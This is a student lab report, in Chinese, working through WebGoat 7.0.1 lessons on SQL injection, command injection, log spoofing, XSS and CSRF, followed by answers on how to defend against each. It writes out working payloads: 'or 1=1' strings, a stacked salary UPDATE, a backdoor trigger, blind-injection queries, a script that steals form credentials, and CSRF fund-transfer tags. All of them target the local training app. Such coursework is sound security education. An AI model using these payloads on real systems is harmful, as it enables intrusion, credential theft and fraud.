2019-2020-2 20175227张雪莹《网络对抗技术》Exp9 Web安全基础
目录
- 实验内容
- 老师提问
- SQL注入攻击原理,如何防御
- XSS攻击的原理,如何防御
- CSRF攻击原理,如何防御
- 所遇到的问题及其解决方法
- 实验感想
- 参考资料
实验内容
WebGoat安装
- 下载WebGoat:用命令
wget https://github.com/WebGoat/WebGoat/releases/download/7.0.1/webgoat-container-7.0.1-war-exec.jar
下载WebGoat。(巨慢。。。0.几k的下。。。崩溃了,后面上CSDN下载的,在这里,可自取。) - 安装之前需要检查自己是否安装了Tomcat,以及JDK版本是否是1.8,否则就会遇到我遇到的问题,安装JDK1.8可以参考我的问题分析那边。
- 运行WebGoat:
java -jar webgoat-container-7.0.1-war-exec.jar
,然后就会疯狂跑代码,然后直到出现以下提示:
- 打开浏览器:在浏览器输入
http://localhost:8080/WebGoat/
,荧光笔标出区域是他的默认账号,我们用管理员账号登录
- 登录后即可看到左侧的课程栏:
SQL注入攻击
SQL注入攻击:相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
① 命令注入(Command Injection)
- 原理:修改提交的参数,使服务器执行恶意命令
- 目标:能够在目标主机上执行任何系统命令
- 方法:
- 左侧课程栏选中
Injection Flaws
->Command Injection
,在网页中间的下拉框处右键选择Inspect Element
- 之后可以在右侧对网页源代码进行修改,找到名字为
HelpFile
的select
元素,在第一项内容的后面添加"& netstat -an & ipconfig"
,修改后再次点击下拉框旁的View
(框中默认选项为我们修改的第一项)
- 左侧课程栏选中
- 即可看到端口开放情况,攻击成功!
② 数字型SQL注入(Numeric SQL Injection)
- 原理:利用SQL语句的特点,注入数字型数据,使系统执行恶意代码
- 目标:对SQL语句注入特征字符,组合形成新的SQL语句,以此来查询所有城市的天气情况。
- 方法:
- 左侧课程栏选中
Injection Flaws
->Numeric SQL Injection
,点击Go!
按钮,可查询Columbia的天气情况。 - 现在要设法改变网页源码,使得在Columbia选项下可以查询到源码中所有城市的天气情况。
- 左侧课程栏选中
- 在网页中间的下拉框处右键选择
Inspect Element
- 之后可以在右侧对网页源代码进行修改,找到名字为
station
的select
元素,在第一项101后面添加" or 1=1 "
,修改后点击Go!
- 绿色小勾代表攻击成功,确实也查询到了所有城市的天气情况。
③ 日志欺骗(Log Spoofing)
- 原理:在系统日志中抹除黑客访问的记录,混淆安全软件视听。
- 目标:使得日志中仅有用户名为admin的用户成功登录。
- 方法:
- 左侧课程栏选中
Injection Flaws
->Log Spoofing
- 在User Name文本框中填写
guest%0d%0aLogin Succeeded for username: admin
,其中%0d
是回车,%oa
是换行符,可以让注入信息转行显示。 - 点击登录后,可以看到我们注入的语句在第二行显示出来了。
- 左侧课程栏选中
④ 字符串型注入(String SQL Injection)
- 原理:利用SQL语句的特点,注入字符串,使系统执行恶意代码
- 目标:基于查询语句构造自己的SQL 注入字符串将所有信用卡信息显示出来。
- 方法:
- 左侧课程栏选中
Injection Flaws
->String SQL Injection
,输入Smith可查询Smith的信用卡信息。 - 现在要设法使得可以查询源码中所有用户的信用卡信息。
- 左侧课程栏选中
- 在User Name文本框中填写
Smith' or 1=1--
可以看到下面那行SQL语句,显然'
把前面姓
这一条件提前终止,插入了永真式1=1
,--
注释了后面的代码 - 可以看到绿色小勾,攻击成功!
⑤ LAB: SQL Injection
- 原理:利用SQL语句的特点,注入字符串,使系统执行恶意代码
- 目标:通过注入字符串绕过认证
- 方法:
- 左侧课程栏选中
Injection Flaws
->LAB: SQL Injection
,密码框中输入' or 1=1 --
尝试绕过认证进行登录操作,结果提示登录失败。 - 我们输入的字符串长度应该是11位,框中只显示了7位,我推测是源码设置了密码的长度,所以我们接下来改一下
- 左侧课程栏选中
- 在密码文本框右键选择
Inspect Element
,将maxlength改成20
- 重新输入
' or 1=1 --
尝试绕过认证进行登录操作,登录成功!
⑥ 数据库后门(Database Backdoors)
- 原理:利用数据库中的触发器,使用INSERT语句来使系统执行恶意代码
- 目标:通过注入字符串绕过认证
- 方法:
- 左侧课程栏选中
Injection Flaws
->Database Backdoors
,文本框中输入101可查询该用户的相关信息。 - 接下来我们尝试用数据库后面对其进行攻击。
- 左侧课程栏选中
- 比如我是一个坏人,想要篡改自己的工资,把它改高一点。。。
- 输入语句
101; update employee set salary=8888888
成功将该用户的工资变成8888888,攻击成功!
- 还可以输入
101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20175227@zxy.com' WHERE userid = NEW.userid
,这个设置可以使表中添加新用户时其邮箱为我设置的假邮箱。
⑦ 数字型盲注入(Blind Numeric SQL Injection)
- 原理:某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。
- 目标:找到 pins 表中 cc_number 字段值为 1111222233334444 的记录中 pin 字段的数值。pin 字段类型为 int,整型。输入找到的数值并提交,通过该题目。
- 方法:
- 读取英文信息我们可以知道,下面的表单允许用户输入一个帐号,并确定它是否有效。使用此表单开发一个真/假测试,检查数据库中的其他条目。
- 输入
101 AND 1=1
进行一个查询测试,两个条件均有效,所以返回当前账户数字有效。
- 输入
101 AND 1=2
,因为1不等于2,条件不成立,所以返回账号数字无效。
- 下面的语句可以告诉我们PIN数值是否大于10000:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
如果页面提示帐号有效,说明PIN>10000 否则 PIN<=10000 - 后续使用二分法缩小判断范围,可以最终判断出PIN数值大小。
- 经过测试,此语句返回账号数字有效:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );
- 查询框中输入
2364
并提交,结果如下:
⑧ 字符串型盲注入(Blind String SQL Injection)
- 原理:与数字型盲注入类似,某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。
- 目标:找到在表中字段cc_number值为4321432143214321的记录中PIN字段的数值。字段的类型是varchar,它是一个字符串。
- 方法:
- 读取英文信息我们可以知道,下面的表单允许用户输入一个帐号,并确定它是否有效。使用此表单开发一个真/假测试,检查数据库中的其他条目。
- 自己可以用
101 AND 1=1
101 AND 1=2
测试返回信息的有效、无效情况,和数字型盲注入一样,我这里不赘述了。 - 与数字型盲注入类似,可以使用语句
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'O' );
判断PIN字段数值的第一个字母其ASCII码值是否比”O“小。 - 同样地,利用二分法进行测试,最终锁定PIN字段的值为
Jill
XSS攻击
XSS攻击:通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
① 跨站脚本钓鱼攻击(Phishing with XSS)
- 原理:在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。
- 目标:将html插入到请求凭据的位置,添加javascript来实际收集凭证,将凭证发布到
http://localhost:8080/WebGoat/catcher?PROPERTY=yes...
- 方法:
- 利用XSS可以在已存在的页面中进一步添加元素,包括两部分:
- 受害人填写一个表格;
- 服务器以读取脚本的形式,将收集到的信息发送给攻击者。
- 利用XSS可以在已存在的页面中进一步添加元素,包括两部分:
- 编写一个含有文本框、提交按钮的表单的代码
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
</form><br><br><HR>
- 左侧课程栏选中
Cross-Site Scripting (XSS)
->Phishing with XSS
,在文本框中搜索该代码,可以看到页面中增加了一个登录的表单
- 编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat
<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
- 将上面两段代码合并搜索,进行登录操作,提交之后可以看到返回了输入的用户名和密码
② 存储型XSS攻击(Stored XSS Attacks)
- 原理:事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。
- 目标:创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。
- 方法:
- TItle文本框输入任意信息 ,在Message文本框中输入
<script>alert('You've been attacked!')</script>
,点击提交后,点击创建的帖子,会弹出一个对话框,说明攻击成功! - 这个过程就像诱使受害者点击虚假链接,执行的脚本可以是其他的,比如获取用户缓存等,以达到恶意目的。
- TItle文本框输入任意信息 ,在Message文本框中输入
③ 反射型XSS攻击(Reflected XSS Attacks)
- 原理:通过使受害者执行攻击者的脚本,使攻击者获取受害者的cookie等敏感数据,进而可以窃取受害者的临时身份,进行一系列操作。
- 目标:使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件发送,或者通过其他方式让受害者点击它。
- 方法:
- 序列号文本框中输入
<script>alert('You've been attacked!')
,点击购买按钮,会弹出一个对话框,说明攻击成功!
- 序列号文本框中输入
CSRF攻击
① Cross Site Request Forgery
- 原理:攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作
- 目标:向新闻组发送电子邮件。电子邮件包含一个图片,其URL指向一个恶意请求。
- 方法:
- 点击
XSS
-> Cross Site Request Forgery(CSRF) - 现在需要在文本框中输入一段包含图片的Html代码,链接到一个网站。
- 输入
<img src="http://localhost:8080/WebGoat/attack?Screen= 2078372&menu=900&transferFunds=5000" width="1" height="1" />
,其中Screen和menu的值由右侧表格看出,语句transferFunds=5000
意为把受害者的钱转走。
- 点击
- 出现了一个链接,点他
- 攻击成功!
② CSRF Prompt By-Pass
- 点击
XSS
->CSRF Prompt By-Pass
- 方法同上,文本框中输入代码
<iframe src="attack?Screen=1471017872&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=1471017872&menu=900&transferFunds=CONFIRM"> </iframe>
- 出现连接后点击,发现攻击成功!
老师提问
SQL注入攻击原理,如何防御
- 回答:
- SQL注入:是一种注入攻击,可以执行恶意SQL语句。它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器。攻击者可以使用SQL注入漏洞绕过应用程序安全措施;可以绕过网页或Web应用程序的身份验证和授权,并检索整个SQL数据库的内容;还可以使用SQL注入来添加,修改和删除数据库中的记录。
- 防御:
- 不要使用动态SQL:避免将用户提供的输入直接放入SQL语句中;最好使用准备好的语句和参数化查询,这样更安全。
- 不要将敏感数据保留在纯文本中:加密存储在数据库中的私有/机密数据。
- 限制数据库权限和特权:将数据库用户的功能设置为最低要求;这将限制攻击者在设法获取访问权限时可以执行的操作。
XSS攻击的原理,如何防御
- 回答:
- XSS攻击:是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
- 防御:
- 在服务器端设置cookie的时候设置 http-only(只允许http或https请求读取cookie), 这样就可以防止用户通过JS获取cookie。
- XSS防御HTML编码,将不可信数据放入到html标签内(比如div、span等)的时候需要进行html编码。
CSRF攻击原理,如何防御
- 回答:
- CSRF攻击:是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法,攻击者盗用了你的身份,以你的名义发送恶意请求。造成的问题包括:个人隐私泄露以及财产安全。
- 防御:
- 服务端进行CSRF防御:服务端的CSRF方式方法很多样,但总的思想都是一致的,就是在客户端页面增加伪随机数。
- 每次的用户提交都需要用户在表单中填写一个图片上的随机字符串
- 不同的表单包含一个不同的伪随机值
所遇到的问题及其解决方法
实验感想
- 这次实验是最后一次实验了,实验完了就标志着课程也结束了。这次实验有一个很好的平台,设置了很多课程提供了一个思考的过程,然后自己去实践直到攻击成功,搞明白了三个攻击的原理,是很有收获的。这学期的课程也很有收获,是一个自学的过程。学到了出了网络攻防以外的知识(安装软件老出错。。。),燃起了自己对网络安全的兴趣,这是很重要的。